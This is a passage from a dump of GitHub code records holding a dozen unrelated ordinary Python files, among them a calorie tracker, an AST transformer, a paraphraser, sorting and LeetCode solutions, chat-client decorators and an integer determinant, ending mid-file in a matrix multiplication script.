OCCURANCES = count_phone_usage.phone_usage(dataframe.PROXIMITY)\r\n\r\nT_JUMPS_START = Y # Second rest period end\r\nT_JUMPS_END = OCCURANCES[2] # Time jumps end\r\n\r\nBLUE_LIGHT_TIME = blue_light_effect.blue_light()\r\n\r\nPEAKS = peak_bounds.peak_bounds_funct(T_JUMPS_START, T_JUMPS_END,\r\n 'ACC_RMS', 20.4)\r\n\r\nWEIGHT = float(input(\"Introduce your weight in Kg:\"))\r\n\r\nCALORIES = total_calories.total_calories_calculation(WEIGHT, T1, T2, X,\r\n Y, T_JUMPS_START, T_JUMPS_END)\r\n\r\n\r\nprint(\"\\n\\n-----------------------------------------------\\n\")\r\nprint(\"Number of squats perfornmed:\", len(SQUATS))\r\nprint(\"Squats time in seconds: \", T1)\r\nprint(\"Number of stairs taken: \", NO_STAIRS)\r\nprint(\"Total number of jumps: {}\".format(len(PEAKS)))\r\nprint(\"Time resting in seconds after squats: \", T2)\r\nprint(\"Time resting in seconds after stairs: \", T3)\r\n\r\nprint(\"\\n-----------------------------------------------\\n\")\r\nprint(\"Light is low for %d seconds that means darkness around the mobile.\" %BLUE_LIGHT_TIME)\r\nprint(\"Turned ON the blue light filter for this duration.\")\r\nprint(\"The user used the phone: {} times.\".format(PHONE_TIMES))\r\nprint(\"\\n-----------------------------------------------\\n\")\r\n\r\nprint(\"You burned: %.2f Calories total during your exercise session\\n\" %(CALORIES))\r\nif CALORIES < 200:\r\n print(\"If you want to burn more Calories, you need to exercise for a \",\r\n \"longer time\\n\")\r\nprint(\"-----------------------------------------------\\n\\n\")\r\n\r\nwhile FLAG:\r\n print(\"Do you want to know the calories burned during the different \",\r\n \"activities your preformed\")\r\n while True:\r\n USER = input(\"YES (Y) or NOT (N): \")\r\n if USER.lower() not in ('y', 'n'):\r\n print('Not a valid choise, TRY AGAIN')\r\n else:\r\n break\r\n if USER == 'y':\r\n print(\"In this option you are able to look how many calories your \",\r\n \"burned per Activity\")\r\n M = input(\"Choose your activity: \\n1)Squats \\n2)Stairs \\n3)Jumps\\n\")\r\n while M not in ('1', '2', '3'):\r\n print(\"You introduced a Wrong value *** Please Try Again***\\n\")\r\n M = input(\"Choose your activity: \\n1)Squats \\n2)Stairs \\n3)Jumps\\n\")\r\n MET = calories.define_met(M)\r\n\r\n if M == '1':\r\n TIME = T1\r\n print(\"You choose Squats as your activity\")\r\n elif M == '2':\r\n TIME = (dataframe.TIME[Y] - dataframe.TIME[X])*0.001 - T2\r\n print(\"You choose Walking on Stairs as your activity\")\r\n else:\r\n TIME = (dataframe.TIME[T_JUMPS_END] - dataframe.TIME[T_JUMPS_START])*0.001\r\n print(\"You choose Jumps as your activity\")\r\n\r\n CALORIES = calories.calories_calculation(MET, WEIGHT, TIME)\r\n print(\"You burned: %.2f Calories\\n\" %CALORIES)\r\n if CALORIES < 200:\r\n print(\"If you want to burn more Calories, you need to exercise \",\r\n \"for a longer time\\n\")\r\n else:\r\n print(\"Have a good Day\")\r\n FLAG = False\r\n","repo_name":"mahajanrahul24/micro_project_health","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3687,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"35891836790","text":"\"\"\"Contains an AST transformer class for modifying an .sfn file\"\"\"\nimport ast\nfrom typing import Any\n\n\nclass ScriptTransformer(ast.NodeTransformer):\n \"\"\"AST node transformer that mutates a .sfn file before it's parsed.\n\n The goals of the transformer are to:\n * Replace empty ``except:`` statements with ``except States.ALL`` to match the\n StepFunctions spec\n * Add an explicit ``else`` clause if only ``if`` and ``elif`` exist. This makes it\n easier to parse the control flow in the StateMachineVisitor.\n \"\"\"\n\n def __init__(self, replace_empty_except: bool = True, *args, **kwargs) -> None:\n \"\"\"\n Args:\n replace_empty_except: Flag to control whether ``except:`` is replaced with\n ``States.ALL``. This should only be false when used in conjunction with\n another transformer, like LocalProjectRunnerTransformer.\n\n \"\"\"\n super().__init__(*args, **kwargs)\n self.replace_empty_except = replace_empty_except\n self._current_base_class = None\n\n def visit_ClassDef(self, node: Any) -> None:\n \"\"\"Visit a class definition\n\n We don't want to transform anything, just keep track of the current base class.\n \"\"\"\n for base in node.bases:\n if base.id == \"Task\":\n self._current_base_class = base.id\n break\n\n return self.generic_visit(node)\n\n def visit_AsyncFunctionDef(self, node: Any) -> Any:\n \"\"\"Visit an async function definition\n\n We don't want to transform anything, just ignore any processing of the run\n method.\n \"\"\"\n if node.name == \"run\" and self._current_base_class == \"Task\":\n return node\n\n return self.generic_visit(node)\n\n def visit_ExceptHandler(self, node: Any) -> Any:\n \"\"\"Visit an exception handler\"\"\"\n if self.replace_empty_except and node.type is None:\n return ast.copy_location(\n ast.ExceptHandler(\n type=ast.Attribute(value=ast.Name(id=\"States\"), attr=\"ALL\"),\n name=None,\n body=node.body,\n ctx=ast.Load(),\n ),\n node,\n )\n\n return node\n\n def visit_If(self, node: Any) -> Any:\n \"\"\"Visit an if statement\"\"\"\n if len(node.orelse) == 0:\n node.orelse.append(ast.Pass())\n\n return self.generic_visit(node)\n","repo_name":"NarrativeScience-old/fluxio-parser","sub_path":"fluxio_parser/transformers/script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":2447,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"23209853309","text":"from nltk.tokenize import word_tokenize\nfrom nltk.tag import pos_tag\nfrom nltk.corpus import wordnet as wn\nfrom sematch.semantic.similarity import WordNetSimilarity\nfrom vocabulary.vocabulary import Vocabulary as vb\nimport json\nfrom random import randint\nimport spacy\nimport os.path\n\nnlp = spacy.load('en_core_web_sm')\n\n# Function to tag sentence with part of speach\ndef tag(sentence):\n words = word_tokenize(sentence)\n words = pos_tag(words)\n return words\n\n# Determine the POS to paraphrase\ndef paraphraseable(tag):\n return tag.startswith('NN') or tag =='VB' or tag.startswith('JJ')\n\n# POS tagging\ndef pos(tag):\n if tag.startswith('NN'):\n return wn.NOUN\n elif tag.startswith('V'):\n return wn.VERB\n\n# Function to crate synonyms using wordnet nltk\ndef synonyms(word, tag):\n listOfLemmas = [baseWord.lemmas() for baseWord in wn.synsets(word, pos(tag))] \n if len(listOfLemmas) > 0:\n \tlistOfLemmas = listOfLemmas[0]\n \tlemmas = [lemma.name().encode('ascii', 'ignore') for lemma in listOfLemmas]\n \treturn set(lemmas)\n else:\n \treturn set([])\n\n# Create dictonary synonums\ndef dictonarySynonums(word):\n\tsynJSON = vb.synonym(word)\n\tif synJSON != False:\n\t\tsynonyms_lists = [dictSyno[\"text\"].encode('ascii', 'ignore') for dictSyno in json.loads(vb.synonym(word))]\n\t\treturn set(synonyms_lists)\n\telse:\n\t\treturn set([])\n\n# controll set to calculate the semantic similarity of synonums from the base words using SPACY\ndef controlledSetSpacy(word,similarWords):\n\tutf_en_word = nlp(word.decode('utf-8', 'ignore'))\n\tfor similarWord in similarWords.copy():\n\t\tutf_en_similarWord = nlp(similarWord.decode('utf-8','ignore'))\n\t\tif utf_en_word.similarity(utf_en_similarWord) <.76: # Variable to control accuracy of controlset \n\t\t\tsimilarWords.discard(similarWord)\n\treturn similarWords\n\n# controll set to calculate the semantic similarity of synonums from the base words using WordNetSimilarity\ndef controlledSetWordNetSimilarity(word,similarWords):\n\twns = WordNetSimilarity()\n\tfor similarWord in similarWords.copy():\n\t\tif wns.word_similarity(word, similarWord, 'li') < 0.9996: # Variable to control accuracy of controlset\n\t\t\tsimilarWords.discard(similarWord)\n\treturn similarWords\n\n# to to get synonums from wordnet nltk as well as from python dictonary synonums\ndef synonymIfExists(sentence):\n for (word, t) in tag(sentence):\n if paraphraseable(t) and word not in [\"i\",\"I\"]:\n syns = synonyms(word, t)\n syns.update(dictonarySynonums(word))\n if syns:\n \tsyns = controlledSetWordNetSimilarity(word,syns) # Or use the commented controlled set\n \t#syns = controlledSetSpacy(word,syns)\n \tif len(syns) > 1:\n \t\tyield [word, list(syns)]\n \t\tcontinue\n yield [word,[]]\n\n# Function to get the semantic similar synonums and the total count of synonums in the entire sentence\ndef paraphrase(sentence):\n\tbagOfWords = []\n\tcounter = 1\t\n\tfor tempArray in synonymIfExists(sentence):\n\t\teachBoW=[]\n\t\teachBoW.append(tempArray[0])\n\t\teachBoW.extend(tempArray[1])\n\t\teachBoW=list(set(eachBoW))\t\n\t\tcounter *= len(eachBoW)\n\t\tbagOfWords.append(eachBoW)\n\treturn bagOfWords,counter\n\n# Function to re-create sentence with synonums where the synonums are taken in randon order \ndef paraPhraseThisSentence(sentence):\n\tppList = []\n\tvList,count = paraphrase(sentence)\n\tallWordsCount = len(vList)\n\tfor y in range(count):\n\t\tstr = []\n\t\treturnStr = \" \"\n\t\tfor w in range(allWordsCount):\n\t\t\tstr.append(vList[w][randint(0,len(vList[w])-1)].replace(\"_\",\" \"))\n\t\tppList.append(returnStr.join(str))\n\tppList = list(set(ppList))\n\tprint (ppList)\n\treturn ppList\n\nparaPhraseThisSentence(\"Financial Institutes have always helped the society to become better version of itself.\")","repo_name":"crujzo/Para-Phrase","sub_path":"paraPhraseSentence.py","file_name":"paraPhraseSentence.py","file_ext":"py","file_size_in_byte":3650,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"32"} +{"seq_id":"34886113129","text":"# Check if a string is a palindrome or not\n# by seeing if the string and its reverse are equal\n# since palindromes read the same forward and backward\ndef is_palindrome(s):\n\n # Find the reversed string, using splicing starting from the end\n rev = s[::-1]\n\n # Check for equality between original forward string and reverse string\n # We make sure to check lowercase version so that case doesn't matter for the string\n if s.lower() == rev.lower():\n\n # True then it is palindrome\n return True\n\n else:\n\n return False\n","repo_name":"Esk3tit/in-class-activity-unittest-pytest","sub_path":"palindrome.py","file_name":"palindrome.py","file_ext":"py","file_size_in_byte":550,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"14030650640","text":"from random_array import random_array\n\nunsorted_arr = random_array(20)\nprint(unsorted_arr)\n\ndef merge_sort(start, end):\n if end - start <= 1:\n return\n else:\n middle = start + int((end - start)/2)\n merge_sort(start, middle)\n merge_sort(middle, end)\n arr = list()\n i = start\n j = middle\n while i < middle or j < end:\n if j < end and unsorted_arr[j] < unsorted_arr[i]:\n arr.append(unsorted_arr[j])\n j += 1\n elif i < middle:\n arr.append(unsorted_arr[i])\n i += 1\n else:\n arr.append(unsorted_arr[j])\n j += 1\n for i in range(len(arr)):\n unsorted_arr[start+i] = arr[i]\n\n\nmerge_sort(0, len(unsorted_arr))\nprint(unsorted_arr)\n\n\ndef merge(arr):\n if len(arr) < 2:\n return arr\n else:\n arr1 = merge(arr[:len(arr)//2])\n arr2 = merge(arr[len(arr)//2:])\n i = 0\n j = 0\n sorted_arr = []\n while i < len(arr1) and j < len(arr2):\n if arr1[i] < arr2[j]:\n sorted_arr.append(arr1[i])\n i += 1\n else:\n sorted_arr.append(arr2[j])\n j += 1\n while i < len(arr1):\n sorted_arr.append(arr1[i])\n i += 1\n\n while j < len(arr2):\n sorted_arr.append(arr2[j])\n j += 1\n return sorted_arr\n","repo_name":"MMahdiNasiri/datastructure-algorithm","sub_path":"sorts/merge_sort.py","file_name":"merge_sort.py","file_ext":"py","file_size_in_byte":1451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"32702589017","text":"\"\"\"\nModule containing various decorators\n\"\"\"\nfrom typing import Any, Callable, List, Optional\n\nfrom poezio import common\n\n\nclass RefreshWrapper:\n def __init__(self):\n self.core = None\n\n def conditional(self, func: Callable) -> Callable:\n \"\"\"\n Decorator to refresh the UI if the wrapped function\n returns True\n \"\"\"\n\n def wrap(*args, **kwargs):\n ret = func(*args, **kwargs)\n if self.core and ret:\n self.core.refresh_window()\n return ret\n\n return wrap\n\n def always(self, func: Callable) -> Callable:\n \"\"\"\n Decorator that refreshs the UI no matter what after the function\n \"\"\"\n\n def wrap(*args, **kwargs):\n ret = func(*args, **kwargs)\n if self.core:\n self.core.refresh_window()\n return ret\n\n return wrap\n\n def update(self, func: Callable) -> Callable:\n \"\"\"\n Decorator that only updates the screen\n \"\"\"\n\n def wrap(*args, **kwargs):\n ret = func(*args, **kwargs)\n if self.core:\n self.core.doupdate()\n return ret\n\n return wrap\n\n\nrefresh_wrapper = RefreshWrapper()\n\n\nclass CommandArgParser:\n \"\"\"Modify the string argument of the function into a list of strings\n containing the right number of extracted arguments, or None if we don’t\n have enough.\n \"\"\"\n\n @staticmethod\n def raw(func: Callable) -> Callable:\n \"\"\"Just call the function with a single string, which is the original string\n untouched\n \"\"\"\n\n def wrap(self, args, *a, **kw):\n return func(self, args, *a, **kw)\n\n return wrap\n\n @staticmethod\n def ignored(func: Callable) -> Callable:\n \"\"\"\n Call the function without any argument\n \"\"\"\n\n def wrap(self, args=None, *a, **kw):\n return func(self, *a, **kw)\n\n return wrap\n\n @staticmethod\n def quoted(mandatory: int,\n optional=0,\n defaults: Optional[List[Any]] = None,\n ignore_trailing_arguments=False):\n \"\"\"The function receives a list with a number of arguments that is between\n the numbers `mandatory` and `optional`.\n\n If the string doesn’t contain at least `mandatory` arguments, we return\n None because the given arguments are invalid.\n\n If there are any remaining arguments after `mandatory` and `optional`\n arguments have been found (and “ignore_trailing_arguments\" is not True),\n we append them to the last argument of the list.\n\n An argument is a string (with or without whitespaces) between two quotes\n (\"), or a whitespace separated word (if not inside quotes).\n\n The argument `defaults` is a list of strings that are used when an\n optional argument is missing. For example if we accept one optional\n argument and none is provided, but we have one value in the `defaults`\n list, we use that string inplace. The `defaults` list can only\n replace missing optional arguments, not mandatory ones. And it\n should not contain more than `mandatory` values. Also you cannot\n\n Example:\n This method needs at least one argument, and accepts up to 3\n arguments\n\n >> @command_args_parser.quoted(1, 2, ['default for first arg'], False)\n >> def f(args):\n >> print(args)\n\n >> f('coucou les amis') # We have one mandatory and two optional\n ['coucou', 'les', 'amis']\n >> f('\"coucou les amis\" \"PROUT PROUT\"') # One mandator and only one optional,\n # no default for the second\n ['coucou les amis', 'PROUT PROUT']\n >> f('') # Not enough args for mandatory number\n None\n >> f('\"coucou les potes\"') # One mandatory, and use the default value\n # for the first optional\n ['coucou les potes, 'default for first arg']\n >> f('\"un et demi\" deux trois quatre cinq six') # We have three trailing arguments\n ['un et demi', 'deux', 'trois quatre cinq six']\n\n \"\"\"\n default_args_outer = defaults or []\n\n def first(func: Callable):\n def second(self, args: str, *a, **kw):\n default_args = default_args_outer\n if args and args.strip():\n split_args = common.shell_split(args)\n else:\n split_args = []\n if len(split_args) < mandatory:\n return func(self, None, *a, **kw)\n res, split_args = split_args[:mandatory], split_args[\n mandatory:]\n if optional == -1:\n opt_args = split_args[:]\n else:\n opt_args = split_args[:optional]\n\n if opt_args:\n res += opt_args\n split_args = split_args[len(opt_args):]\n default_args = default_args[len(opt_args):]\n res += default_args\n if split_args and res and not ignore_trailing_arguments:\n res[-1] += \" \" + \" \".join(split_args)\n return func(self, res, *a, **kw)\n\n return second\n\n return first\n\n\ncommand_args_parser = CommandArgParser()\n","repo_name":"mathieui/poezio","sub_path":"poezio/decorators.py","file_name":"decorators.py","file_ext":"py","file_size_in_byte":5401,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"32"} +{"seq_id":"73062000091","text":"import nltk\r\nnltk.download() # download the necessary dataset\r\n\r\ntext = \"Hello! How are you doing today? I hope you're having a good day.\"\r\n\r\n# tokenize the text into individual sentences\r\nsentences = nltk.sent_tokenize(text)\r\ntokens = nltk.word_tokenize(text)\r\nprint(sentences)\r\nprint(tokens)","repo_name":"AhmedIbrahimai/From-Words-to-Tokens-Understanding-Tokenization-and-Its-Impact-on-NLP","sub_path":"tokinize.py","file_name":"tokinize.py","file_ext":"py","file_size_in_byte":294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"13651882500","text":"import util\nimport numpy as np\nfrom xgboost import XGBClassifier\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import accuracy_score\n\nX_accepted = util.read_textfile('acceptscores.txt')\nX_rejection = util.read_textfile('rejectscores.txt')\n\nY_accepted = np.zeros((len(X_accepted),))\nY_rejection = np.ones((len(X_rejection),))\n\nX = np.vstack((X_accepted,X_rejection))\nY = np.hstack((Y_accepted,Y_rejection))\n\nX_new = np.zeros((len(X),11+6))\ncount = 0\naddon = 6\n\nfor i in X:\n X_new[count,0:6] = i\n X_new[count,addon+0] = i[i.nonzero()].mean()\n X_new[count,addon+1] = i[i.nonzero()].std()\n temp = np.ptp(i[i.nonzero()])\n if(temp == 0):\n X_new[count,addon+2] = np.max(X_new[:,addon+2])\n else:\n X_new[count,addon+2] = X_new[count,addon+0]*(1.0/(temp+0.00001))\n a = i\n X_new[count,addon+3] = np.sum(np.logical_and(a>0.1, a<=1))\n X_new[count,addon+4] = np.sum(np.logical_and(a>1, a<=2))\n X_new[count,addon+5] = np.sum(np.logical_and(a>2, a<=3))\n X_new[count,addon+6] = np.sum(np.logical_and(a>3, a<=4))\n X_new[count,addon+7] = np.sum(np.logical_and(a>4, a<=5))\n X_new[count,addon+8] = np.sum(np.logical_and(a>5, a<=6))\n X_new[count,addon+9] = np.max(i[i.nonzero()])\n X_new[count,addon+10] = np.min(i[i.nonzero()])\n count +=1\naccuracy = np.zeros((1,2));\nfor i in np.arange(1):\n\tseed = np.random.randint(200, size=(1,))\n\t#print(seed)\n\ttest_size = 0.2\n\tX_train, X_test, y_train, y_test = train_test_split(X_new, Y, test_size=test_size, random_state=seed[1])\n\tmodel = XGBClassifier()\n\tmodel.fit(X_train[:,6:-1], y_train)\n\ty_pred = model.predict(X_test[:,6:-1])\n\tpredictions = [round(value) for value in y_pred]\n\n\taccuracy[i,0] = seed[1]\n\taccuracy[i,1] = accuracy_score(y_test, predictions)\n\t# print(\"Accuracy: %.2f%%\" % (accuracy * 100.0))\n\t'''\n\tmodel_2 = XGBClassifier()\n\tmodel_2.fit(X_train[:,[0,1]], y_train)\n\ty_pred = model_2.predict(X_test[:,[0,1]])\n\tpredictions = [round(value) for value in y_pred]\n\n\n\taccuracy = accuracy_score(y_test, predictions)\n\tprint(\"Accuracy: %.2f%%\" % (accuracy * 100.0))\n\n\tmodel_2 = XGBClassifier()\n\tmodel_2.fit(X_train[:,[0,1,3,4,5,6,7,8]], y_train)\n\ty_pred = model_2.predict(X_test[:,[0,1,3,4,5,6,7,8]])\n\tpredictions = [round(value) for value in y_pred]\n\n\n\taccuracy = accuracy_score(y_test, predictions)\n\tprint(\"Accuracy: %.2f%%\" % (accuracy * 100.0))\n\n\tmodel_2 = XGBClassifier()\n\tmodel_2.fit(X_train[:,[0,1,9,10]], y_train)\n\ty_pred = model_2.predict(X_test[:,[0,1,9,10]])\n\tpredictions = [round(value) for value in y_pred]\n\n\n\taccuracy = accuracy_score(y_test, predictions)\n\tprint(\"Accuracy: %.2f%%\" % (accuracy * 100.0))\n\n\tmodel_2 = XGBClassifier()\n\tmodel_2.fit(X_train[:,[0,1,2,9,10]], y_train)\n\ty_pred = model_2.predict(X_test[:,[0,1,2,9,10]])\n\tpredictions = [round(value) for value in y_pred]\n\n\n\taccuracy = accuracy_score(y_test, predictions)\n\tprint(\"Accuracy: %.2f%%\" % (accuracy * 100.0))\n\t'''\nprint(\"Accuracy: %.2f%%\" % (np.mean(accuracy[:,1]) * 100.0))\nprint(accuracy)\n","repo_name":"nappaillav/reviewclassification","sub_path":"xgboost_classifier.py","file_name":"xgboost_classifier.py","file_ext":"py","file_size_in_byte":2989,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"2329465277","text":"\"\"\"\nhttps://leetcode.com/problems/surrounded-regions/\n\nGiven a 2D board containing 'X' and 'O' (the letter O), capture all regions surrounded by 'X'.\n\nA region is captured by flipping all 'O's into 'X's in that surrounded region.\n\nExample:\n\nX X X X\nX O O X\nX X O X\nX O X X\nAfter running your function, the board should be:\n\nX X X X\nX X X X\nX X X X\nX O X X\nExplanation:\n\nSurrounded regions shouldn’t be on the border, which means that any 'O' on the border of the board are not flipped to 'X'. Any 'O' that is not on the border and it is not connected to an 'O' on the border will be flipped to 'X'. Two cells are connected if they are adjacent cells connected horizontally or vertically.\n\n\"\"\"\n\nfrom typing import List\n\n\n# 不得要领啊, 没有掌握题意啊\n# 与border上的0点相连接的O点是不能够被设置为X的,\n# 只有那些不与border上相连的O点才能够被设置为X\n\nclass Solution:\n def solve(self, board: List[List[str]]) -> None:\n if not board:\n return\n m, n = len(board), len(board[0])\n\n def f(i, j):\n if i < 0 or i >= m or j < 0 or j >= n:\n return\n if board[i][j] == 'O':\n board[i][j] = 'S'\n f(i + 1, j)\n f(i - 1, j)\n f(i, j - 1)\n f(i, j + 1)\n\n for i in range(m):\n if board[i][0] == 'O':\n f(i, 0)\n if board[i][n - 1] == 'O':\n f(i, n - 1)\n for j in range(n):\n if board[0][j] == 'O':\n f(0, j)\n if board[m - 1][j] == 'O':\n f(m - 1, j)\n\n for i in range(1, m - 1):\n for j in range(1, n - 1):\n if board[i][j] == 'O':\n board[i][j] = 'X'\n\n for i in range(m):\n for j in range(n):\n if board[i][j] == 'S':\n board[i][j] = 'O'\n\n\nif __name__ == '__main__':\n def printBoard(board):\n for row in board:\n for cell in row:\n print(cell, end=' ')\n print()\n print('\\n')\n\n\n board = [\n [\"O\", \"O\", \"O\"],\n [\"O\", \"O\", \"O\"],\n [\"O\", \"O\", \"O\"]\n ]\n printBoard(board)\n Solution().solve(board)\n printBoard(board)\n","repo_name":"ironboxer/leetcode","sub_path":"python/130.py","file_name":"130.py","file_ext":"py","file_size_in_byte":2345,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"23668423080","text":"class Solution:\n def searchMatrix(self, matrix, target):\n\n\n for row in matrix:\n row_max = row[-1]\n\n if target <= row_max:\n\n return self.binary_search(row, target)\n\n def binary_search(self, arr, target):\n\n low = 0\n high = len(arr) - 1\n\n while low <= high:\n\n mid = low + (high - low) // 2\n\n if arr[mid] == target:\n return True\n\n if arr[mid] < target:\n low = mid + 1\n else:\n high = mid - 1\n\n return False\n\n def searchMatrix2(self, matrix, target):\n\n m = len(matrix)\n n = len(matrix[0])\n\n pointer_row = 0\n\n pointer_col = n - 1\n\n while 0 <= pointer_row < m and 0 <= pointer_col < n:\n\n if matrix[pointer_row][pointer_col] == target:\n return True\n\n if matrix[pointer_row][pointer_col] < target:\n pointer_row += 1\n else:\n pointer_col -= 1\n\n return False\n\ns = Solution()\n\nprint(s.searchMatrix2([[1,3,5,7],[10,11,16,20],[23,30,34,60]], 61))\n","repo_name":"EashanKaushik/LeetCode","sub_path":"30-Day-Challange/Day-3-Array/search_2d.py","file_name":"search_2d.py","file_ext":"py","file_size_in_byte":1121,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"20831592113","text":"\"\"\"Facility for visuals related node class extension.\"\"\"\n\n### standard library imports\n\nfrom itertools import chain\nfrom functools import partialmethod\n\n\n### third-party import\nfrom pygame.draw import rect as draw_rect\n\n\n### local imports\n\nfrom ....config import APP_REFS\n\nfrom ....pygameconstants import SCREEN\n\n## function to extend class\nfrom .reposition import (\n reposition_elements,\n)\n\n\nclass VisualRelatedOperations:\n \"\"\"Manages operations on visual node object.\"\"\"\n\n ### function to extend class operations\n reposition_elements = reposition_elements\n\n ### method definitions\n\n def on_mouse_action(self, method_name, event):\n \"\"\"Check whether any object was targeted by mouse.\n\n if not, act as though the node itself was the\n target of the mouse action.\n\n Parameters\n ==========\n\n event (pygame.event.Event of\n pygame.MOUSEBUTTONDOWN/MOUSEBUTTONUP type)\n\n required in order to comply with protocol\n used; needed here so we can retrieve the\n position of the mouse click in order to\n know over which object the mouse button was\n clicked/released.\n\n Check pygame.event module documentation on\n pygame website for more info about this event\n object.\n \"\"\"\n ### retrieve mouse position\n mouse_pos = event.pos\n\n ### check whether any of the objects collided with\n ### the mouse position when it was clicked,\n ### calling the on_mouse_click method of the\n ### object if available\n\n for obj in chain(\n self.live_widgets,\n self.live_keyword_entries,\n self.placeholder_add_buttons,\n self.widget_add_buttons,\n self.widget_remove_buttons,\n self.subparam_up_buttons,\n self.subparam_down_buttons,\n self.input_sockets,\n self.output_sockets,\n self.placeholder_sockets,\n ):\n\n if obj.rect.collidepoint(mouse_pos):\n\n ### if the mouse release method exists,\n ### we store it and execute it, otherwise\n ### we just pass\n\n try:\n method = getattr(obj, method_name)\n except AttributeError:\n pass\n else:\n method(event)\n\n ### we then break out of the loop, since\n ### at this moment there will be no point\n ### in looking whether the other objects\n ### collided (we assume none of the\n ### objects' rects intersect)\n break\n\n ### if we don't collide with any object though, we\n ### consider as though the node itself was the\n ### target of the mouse method;\n ###\n ### if such method is 'on_mouse_click' or\n ### 'on_mouse_release', set on or off the\n ### mouse_click_target flag according to the\n ### method name; the flag is used to support the\n ### \"move by dragging\" feature; the method\n ### 'on_mouse_release' also causes the selection\n ### state of the object to change;\n ###\n ### if we are dealing with a right mouse release\n ### method, we show the popup menu\n\n else:\n\n if method_name == \"on_mouse_click\":\n self.mouse_click_target = True\n\n elif method_name == \"on_mouse_release\":\n\n self.mouse_click_target = False\n APP_REFS.ea.change_selection_state(self)\n\n elif method_name == \"on_right_mouse_release\":\n\n (APP_REFS.ea.callable_node_popup_menu.show(self, event.pos))\n\n on_mouse_click = partialmethod(on_mouse_action, \"on_mouse_click\")\n\n on_mouse_release = partialmethod(on_mouse_action, \"on_mouse_release\")\n\n on_right_mouse_release = partialmethod(\n on_mouse_action,\n \"on_right_mouse_release\",\n )\n\n def draw(self):\n \"\"\"Draw node elements on screen.\"\"\"\n\n ### draw background and text elements, then\n ### widgets, buttons and sockets\n\n for obj in chain(\n self.background_and_text_elements,\n self.live_widgets,\n self.live_keyword_entries,\n self.placeholder_add_buttons,\n self.widget_add_buttons,\n self.widget_remove_buttons,\n self.subparam_up_buttons,\n self.subparam_down_buttons,\n self.unpacking_icons,\n self.input_sockets,\n self.output_sockets,\n self.placeholder_sockets,\n ):\n obj.draw()\n\n def draw_selection_outline(self, color):\n \"\"\"Draw outline around to indicate it is selected.\"\"\"\n draw_rect(SCREEN, color, self.rect.inflate(-8, 4), 4)\n\n def check_sockets_for_segment_definition(self, event):\n \"\"\"Check whether any socket collides w/ event.pos.\n\n event.pos is the position of a mouse left button\n release event. Any colliding socket must then\n be sent for line segment definition.\n\n If no socket collides, line segment definition\n is cancelled.\n \"\"\"\n mouse_pos = event.pos\n\n ### iterate over all sockets\n\n for socket in chain(\n self.input_sockets,\n self.output_sockets,\n self.placeholder_sockets,\n ):\n\n if socket.rect.collidepoint(mouse_pos):\n break\n\n else:\n APP_REFS.gm.cancel_defining_segment()\n\n APP_REFS.gm.resume_defining_segment(socket)\n","repo_name":"kamilsulima/nodezator","sub_path":"nodezator/graphman/callablenode/vizop/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5598,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"32"} +{"seq_id":"35103860552","text":"\nfrom numbers import gcd , prod\n\ndef det ( A , n ) :\n\n\t\"\"\"\n\n\t\tUsing Gaussian elimination and gcd. For integers only!\n\n\t\t>>> det( [ [ 4 , 1 ] , [ 1 , 2 ] ] , 2 )\n\t\t7\n\n\t\t>>> det( [ [ -2 , 2 , -3 ] , [ -1 , 1 , 3 ] , [ 2 , 0 , -1 ] ] , 3 )\n\t\t18\n\n\t\t>>> det( [ [ -1 , 1 , 3 ] , [ -2 , 2 , -3 ] , [ 2 , 0 , -1 ] ] , 3 )\n\t\t-18\n\n\t\"\"\"\n\n\td = 1\n\n\tfor i in range ( n - 1 ) :\n\n\t\t# find first non zero row\n\n\t\tif A[i][i] == 0 :\n\n\t\t\tj = i + 1\n\n\t\t\twhile j < n :\n\n\t\t\t\tif A[j][i] != 0 : break\n\n\t\t\t\tj += 1\n\n\t\t\tif j == n : return 0\n\n\t\t\t# make it the ith row\n\n\t\t\tA[i] , A[j] = A[j] , A[i]\n\n\t\t\td = -d\n\n\t\tfor j in range ( i + 1 , n ) :\n\n\t\t\ta = A[i][i]\n\t\t\tb = A[j][i]\n\n\t\t\tc = gcd( a , b )\n\n\t\t\ta //= c\n\t\t\tb //= c\n\n\t\t\t# we want to cancel A[j][i]\n\n\t\t\t# assert a * A[j][i] == b * A[i][i]\n\n\t\t\tA[j][i] = 0\n\n\t\t\t# so we multiply both rows so that\n\t\t\t#\n\t\t\t# A[i][i] = A[j][i] = lcm( A[i][i] , A[j][i] )\n\t\t\t#\n\t\t\t# and we remove the ith row from the jth row\n\n\t\t\tfor k in range ( i + 1 , n ) :\n\n\t\t\t\tA[j][k] = a * A[j][k] - b * A[i][k]\n\n\t\t\td *= a\n\n\treturn prod( A[i][i] for i in range( n ) ) // d\n","repo_name":"aureooms-research/xy","sub_path":"merge/determinant.py","file_name":"determinant.py","file_ext":"py","file_size_in_byte":1064,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"37763089471","text":"#This includes code that I will use in my overleaf doc to show how a matrix\n#multiplication program will scale across a number of cores from 1-8\n#and as the size of the matrix grows\nimport multiprocessing\nimport time\nimport numpy as np\n#from matplotlib import pyplot as plt\n\n\n#the start&end parameters will tell the function what row to begin and finish on\ndef matrix_mult(first_row, last_row, mat_size, mat_A, mat_B, mat_C):\n for i in range(first_row, last_row):\n for j in range(mat_size):\n for k in range(mat_size):\n mat_C[i,j] += mat_A[i][k] * mat_B[k][j]\n return mat_C\n\n\ndef 